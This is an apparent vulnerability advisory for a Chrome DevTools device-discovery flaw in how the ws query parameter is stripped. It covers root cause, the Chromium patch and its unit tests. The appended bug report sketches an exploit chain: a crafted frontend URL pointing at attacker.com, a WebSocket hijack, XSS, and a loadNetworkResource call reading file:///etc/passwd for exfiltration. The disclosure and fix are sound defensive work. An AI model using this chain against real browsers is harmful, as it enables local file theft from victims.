CVE-2026-8018
Overview
Background
- DevTools device discovery
- the Chrome subsystem that enumerates remote debugging targets (e.g. Android devices) and builds
RemotePage/RemoteBrowserobjects from a JSON list each target advertises. - `devtoolsFrontendUrl`
- a string field in that target JSON that tells Chrome which DevTools frontend to load, carrying query parameters such as
ws=(the websocket debugger endpoint). - `GURL` / `net::QueryIterator`
- Chromium’s structured URL type and its query-string walker, which parse a URL into scheme/host/path/query components rather than treating it as raw text.
- `std::string::find`
- a naive substring search;
find("?ws")matches the literal three characters anywhere in the string, with no understanding of query delimiters.
Root Cause Analysis
The removed GetFrontendURLFromValue built the frontend URL by string surgery: it located "?ws" with frontend_url.find("?ws") and truncated everything from that point with substr. This only ever stripped a ws parameter that appeared as the very first query parameter (literally ?ws...); a ws parameter arriving mid-query (?a=b&ws=...) does not contain the substring "?ws", so it was left intact in the URL that Chrome subsequently used. The input devtoolsFrontendUrl originates from the discovery payload of a remote target rather than from trusted local state, so leaving unexpected or extra query parameters in place meant the constructed frontend URL did not match the sanitized form the code intended to enforce.
The fix parses the string with GURL, rebuilds the URL with the query cleared, and re-adds every parameter except those whose key is exactly "ws" via net::QueryIterator, then appends remoteVersion; it also does the http→https upgrade on the parsed scheme instead of a StartsWith/substr splice. This makes stripping robust regardless of parameter position, count, or encoding, closing the policy-enforcement gap.
find("?ws")) that only recognized a ws parameter in the first position; the fix replaces ad-hoc string manipulation with real URL parsing (GURL + net::QueryIterator) so the ws key is removed wherever it occurs.Attack Path
- Advertise a crafted target
A remote/debuggable endpoint reachable by DevTools device discovery returns target JSON whose
devtoolsFrontendUrlplaces thewsparameter after other parameters (e.g.inspector.html?a=b&ws=...&c=d). (inferred: attacker control of the discovery payload.) - Bypass the naive strip
GetFrontendURLFromValuerunsfind("?ws"), which does not match&ws, so none of the query is truncated and the attacker-influenced parameters survive intofrontend_url_. - Use the unsanitized URL The retained/unexpected query parameters cause the DevTools frontend to be loaded with state the sanitization was meant to remove, yielding insufficient policy enforcement in DevTools as the advisory describes.
- Impact boundary The patch demonstrates only the parsing defect and its correction; any concrete escalation beyond loading a non-canonical frontend URL is not shown in the diff (inferred).
Impact Assessment
devtoolsFrontendUrl in discovery data can cause Chrome to construct a DevTools frontend URL that retains parameters the sanitizer intended to strip, resulting in insufficient policy enforcement in DevTools. The vendor advisory rates this low severity, with impact “Insufficient policy enforcement in DevTools.” No exploitation-in-the-wild is claimed, and no memory-safety or code-execution consequence is demonstrated by the diff (any such escalation would be inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/browser/devtools/device/devtools_device_discovery.cc |
modified | |
DiscoveryRequestchrome/browser/devtools/device/devtools_device_discovery.h |
modified | |
TESTchrome/browser/devtools/device/devtools_device_discovery_unittest.cc |
modified |
Files Changed
chrome/browser/devtools/device/devtools_device_discovery.ccchrome/browser/devtools/device/devtools_device_discovery.hchrome/browser/devtools/device/devtools_device_discovery_unittest.cc
Audit Directions
- Substring-based URL/query handlingFlag any
find("?..."),find("&..."), orsubstrused to add, remove, or split query parameters; these mishandle parameter position and encoding and should useGURL/net::QueryIterator. - Trust boundary on remote-advertised stringsAudit other fields parsed out of device/target discovery JSON (
webSocketDebuggerUrl,id,title) for similar naive parsing, since all of them cross from a remote endpoint into browser-side URL/state construction. - http→https and scheme rewrites via string opsReview places that upgrade or compare schemes with
StartsWith/substrrather thanGURL::SchemeIs/ReplaceComponents, which silently fail on non-canonical inputs.
Patch
From f0e52607f4916d593e513df5e89347faa0e12d46 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Thu, 02 Apr 2026 05:42:22 -0700
Subject: [PATCH] Make DevTools frontend URL parsing in device discovery more robust Use `GURL` and `net::QueryIterator` instead of naive string searches. The previous implementation relied on `std::string::find("?ws")`, which was unreliable for complex query strings.
Bug: 498292657
Change-Id: I29dff479d013461098c1342aa4b2c72896349c35
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7722383
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Alex Rudenko <alexrudenko@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1609136}
---
diff --git a/chrome/browser/devtools/device/devtools_device_discovery.cc b/chrome/browser/devtools/device/devtools_device_discovery.cc
index ea1ad77..8e4b48f 100644
--- a/chrome/browser/devtools/device/devtools_device_discovery.cc
+++ b/chrome/browser/devtools/device/devtools_device_discovery.cc
@@ -26,6 +26,8 @@
#include "content/public/browser/devtools_agent_host.h"
#include "content/public/browser/devtools_external_agent_proxy.h"
#include "content/public/browser/devtools_external_agent_proxy_delegate.h"
+#include "net/base/url_util.h"
+#include "url/gurl.h"
using content::BrowserThread;
using content::DevToolsAgentHost;
@@ -217,22 +219,6 @@
GetStringProperty(value, "id").c_str());
}
-static std::string GetFrontendURLFromValue(const base::DictValue& value,
- const std::string& browser_version) {
- std::string frontend_url = GetStringProperty(value, "devtoolsFrontendUrl");
- size_t ws_param = frontend_url.find("?ws");
- if (ws_param != std::string::npos) {
- frontend_url = frontend_url.substr(0, ws_param);
- }
- if (base::StartsWith(frontend_url, "http:", base::CompareCase::SENSITIVE)) {
- frontend_url = "https:" + frontend_url.substr(5);
- }
- if (!browser_version.empty()) {
- frontend_url += "?remoteVersion=" + browser_version;
- }
- return frontend_url;
-}
-
static std::string GetTargetPath(const base::DictValue& value) {
std::string target_path = GetStringProperty(value, "webSocketDebuggerUrl");
@@ -287,7 +273,9 @@
target_path_(target_path),
remote_type_(type),
remote_id_(value ? GetStringProperty(*value, "id") : ""),
- frontend_url_(value ? GetFrontendURLFromValue(*value, browser_version)
+ frontend_url_(value ? DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+ *value,
+ browser_version)
: ""),
title_(value ? base::UTF16ToUTF8(base::UnescapeForHTML(
base::UTF8ToUTF16(GetStringProperty(*value, "title"))))
@@ -674,6 +662,72 @@
}
// static
+std::string DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+ const base::DictValue& value,
+ const std::string& browser_version) {
+ const std::string* result = value.FindString("devtoolsFrontendUrl");
+ std::string frontend_url_str = result ? *result : std::string();
+ if (frontend_url_str.empty()) {
+ return std::string();
+ }
+
+ GURL frontend_url;
+ bool is_relative =
+ base::StartsWith(frontend_url_str, "/", base::CompareCase::SENSITIVE);
+ if (is_relative) {
+ frontend_url = GURL("https://dummy.test" + frontend_url_str);
+ } else {
+ frontend_url = GURL(frontend_url_str);
+ }
+
+ if (!frontend_url.is_valid()) {
+ return frontend_url_str;
+ }
+
+ // Convert http to https for absolute URLs.
+ if (!is_relative && frontend_url.SchemeIs(url::kHttpScheme)) {
+ GURL::Replacements replacements;
+ replacements.SetSchemeStr(url::kHttpsScheme);
+ frontend_url = frontend_url.ReplaceComponents(replacements);
+ }
+
+ // Reconstruct the URL without query.
+ GURL::Replacements remove_query;
+ remove_query.ClearQuery();
+ GURL new_url = frontend_url.ReplaceComponents(remove_query);
+
+ // Filter "ws" and add others.
+ net::QueryIterator it(frontend_url);
+ while (!it.IsAtEnd()) {
+ if (it.GetKey() != "ws") {
+ new_url = net::AppendQueryParameter(new_url, it.GetKey(),
+ it.GetUnescapedValue());
+ }
+ it.Advance();
+ }
+
+ // Add remoteVersion.
+ if (!browser_version.empty()) {
+ new_url =
+ net::AppendQueryParameter(new_url, "remoteVersion", browser_version);
+ }
+
+ if (is_relative) {
+ std::string path_and_query(new_url.path());
+ if (new_url.has_query()) {
+ path_and_query += "?";
+ path_and_query += new_url.query();
+ }
+ if (new_url.has_ref()) {
+ path_and_query += "#";
+ path_and_query += new_url.ref();
+ }
+ return path_and_query;
+ }
+ return new_url.spec();
+}
+
+// static
scoped_refptr<content::DevToolsAgentHost>
DevToolsDeviceDiscovery::CreateBrowserAgentHost(
scoped_refptr<AndroidDeviceManager::Device> device,
diff --git a/chrome/browser/devtools/device/devtools_device_discovery.h b/chrome/browser/devtools/device/devtools_device_discovery.h
index 178953b..7b8513e 100644
--- a/chrome/browser/devtools/device/devtools_device_discovery.h
+++ b/chrome/browser/devtools/device/devtools_device_discovery.h
@@ -144,6 +144,10 @@
scoped_refptr<AndroidDeviceManager::Device> device,
scoped_refptr<RemoteBrowser> browser);
+ static std::string GetFrontendURLFromValue(
+ const base::DictValue& value,
+ const std::string& browser_version);
+
private:
class DiscoveryRequest;
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+ struct TestCase {
+ const char* input_url;
+ const char* browser_version;
+ const char* expected_url;
+ } test_cases[] = {
+ // Basic case: no ws parameter.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // ws parameter at the end.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // ws parameter in the middle.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+ // http to https conversion.
+ {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // Relative URL with ws.
+ {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+ "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+ // Relative URL with other params.
+ {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+ "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
Regression Test / PoC
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+ struct TestCase {
+ const char* input_url;
+ const char* browser_version;
+ const char* expected_url;
+ } test_cases[] = {
+ // Basic case: no ws parameter.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // ws parameter at the end.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // ws parameter in the middle.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+ // http to https conversion.
+ {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // Relative URL with ws.
+ {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+ "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+ // Relative URL with other params.
+ {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+ "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+ // Multiple ws parameters.
+ {"https://example.com/inspector.html?ws=1&ws=2&other=3", "1.2.3.4",
+ "https://example.com/inspector.html?other=3&remoteVersion=1.2.3.4"},
+ // Empty browser version.
+ {"https://example.com/inspector.html?ws=1", "",
+ "https://example.com/inspector.html"},
+ // No query part.
+ {"https://example.com/inspector.html", "",
+ "https://example.com/inspector.html"},
+ // Ref preservation.
+ {"https://example.com/inspector.html?ws=1#ref", "1.2.3.4",
+ "https://example.com/inspector.html?remoteVersion=1.2.3.4#ref"},
+ // Relative URL with ref.
+ {"/inspector.html?ws=1#ref", "1.2.3.4",
+ "/inspector.html?remoteVersion=1.2.3.4#ref"},
+ // Invalid URL (not relative, no scheme).
+ {"invalid_url?ws=1", "1.2.3.4", "invalid_url?ws=1"},
+ };
+
+ for (const auto& test_case : test_cases) {
+ base::DictValue value;
+ value.Set("devtoolsFrontendUrl", test_case.input_url);
+ std::string result = DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+ value, test_case.browser_version);
+ EXPECT_EQ(test_case.expected_url, result)
+ << "For input: " << test_case.input_url;
+ }
+}
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 8452511..5d4c79b 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -8225,6 +8225,7 @@
"../browser/component_updater/soda_language_pack_component_installer_unittest.cc",
"../browser/component_updater/zxcvbn_data_component_installer_unittest.cc",
"../browser/devtools/device/android_device_manager_unittest.cc",
+ "../browser/devtools/device/devtools_device_discovery_unittest.cc",
"../browser/devtools/protocol/cast_handler_unittest.cc",
"../browser/devtools/serialize_host_descriptions_unittest.cc",
"../browser/download/download_commands_unittest.cc",
Original Bug Report
Sandbox escape via DevTools ws parameter filter bypass and arbitrary file read
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: A logic flaw in DevTools device discovery allows a malicious target to bypass the ws query parameter filter by simply reordering parameters. This allows an attacker to hijack the DevTools frontend WebSocket connection and achieve XSS in the privileged devtools:// origin. From there, the attacker can potentially read arbitrary local files using the unrestricted loadNetworkResource DevTools API.
Affected files:
chrome/browser/devtools/device/devtools_device_discovery.ccchrome/browser/devtools/devtools_ui_bindings.ccchrome/browser/ui/webui/devtools/devtools_ui_data_source.ccchrome/browser/ui/webui/devtools/devtools_ui.ccchrome/browser/devtools/devtools_window.cc
Estimated timestamp from git blame: 2023-05-08
Vulnerability Details
When discovering remote devices (e.g., via chrome://inspect#devices), Chrome parses the target’s devtoolsFrontendUrl. To prevent malicious targets from hijacking the DevTools session, Chrome attempts to strip the ws (WebSocket) parameter in GetFrontendURLFromValue (chrome/browser/devtools/device/devtools_device_discovery.cc).
However, the stripping logic uses a naive substring search:
size_t ws_param = frontend_url.find("?ws");
if (ws_param != std::string::npos) {
frontend_url = frontend_url.substr(0, ws_param);
}
An attacker can bypass this filter by ensuring ws is not the first query parameter. For example, supplying ?can_dock=true&ws=attacker.com causes find("?ws") to fail, retaining the malicious parameter.
Furthermore, if the attacker’s device omits the Browser field in its /json/version response, browser_version evaluates to empty. This prevents Chrome from appending ?remoteVersion= to the URL, keeping the attacker’s crafted query string exactly intact.
When Chrome converts this to a devtools:// URL, it checks it against DevToolsUIBindings::IsValidFrontendURL. This function sanitizes the URL and ensures it matches the original. Because can_dock and ws are both explicitly allowed parameters in SanitizeFrontendQueryParam and SanitizeEndpoint (as long as they don’t contain & or ?), the malicious URL passes validation. Finally, because the devtools:// CSP does not restrict connect-src, the frontend successfully connects to the attacker’s WebSocket.
Potential Exploitation Steps
(Note: These are suggested steps based on code analysis; our tooling agent does not have the ability to run live code to verify a full PoC.)
- Attacker Setup: The attacker sets up a malicious TCP target and tricks the victim into adding its IP/port in
chrome://inspect#devices. - Version Request: The target responds to Chrome’s
/json/versionrequest with a payload omitting theBrowserfield. - List Request: The target responds to
/json/listwith adevtoolsFrontendUrlpointing to an old, vulnerable DevTools revision on the Google CDN:https://chrome-devtools-frontend.appspot.com/serve_rev/@<vulnerable_revision>/inspector.html?can_dock=true&ws=attacker.com:1337/devtools/page/fake - Filter Bypass: Chrome fails to strip the
wsparameter and generates a validdevtools://URL. The user clicks “Inspect”. - WebSocket Hijack: The DevTools UI loads the specified vulnerable frontend and connects to
attacker.com:1337via WebSocket. - XSS: The attacker serves a malicious CDP response over the WebSocket that exploits a known XSS flaw in the old frontend revision, gaining JS execution in the
devtools://origin. - Sandbox Escape / File Read: The attacker’s JS executes the following embedder message:
In
DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///etc/passwd', '', 1], callback);DevToolsUIBindings::LoadNetworkResource, requests forfile://URLs are processed by creating aFileURLLoaderFactorywith an emptyprofile_path. On desktop platforms, this grants unrestricted read access to the local filesystem. The file contents are streamed back to the frontend and exfiltrated by the attacker.
Suggested Fix
- Robust URL Parsing: Update
GetFrontendURLFromValueindevtools_device_discovery.ccto use a proper URL/query parser (likeGURLornet::QueryIterator) to securely locate and remove thewsparameter, rather than relying on a naivestd::string::find("?ws")search. - Restrict Local File Access: Audit and restrict
DevToolsUIBindings::LoadNetworkResourceso that the DevTools frontend cannot arbitrarily loadfile://URLs using an unrestrictedFileURLLoaderFactory, unless the inspected target itself is afile://URL. - CSP Hardening: Consider tightening the
connect-srcCSP directive fordevtools://pages to strictly limit where WebSockets can connect.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.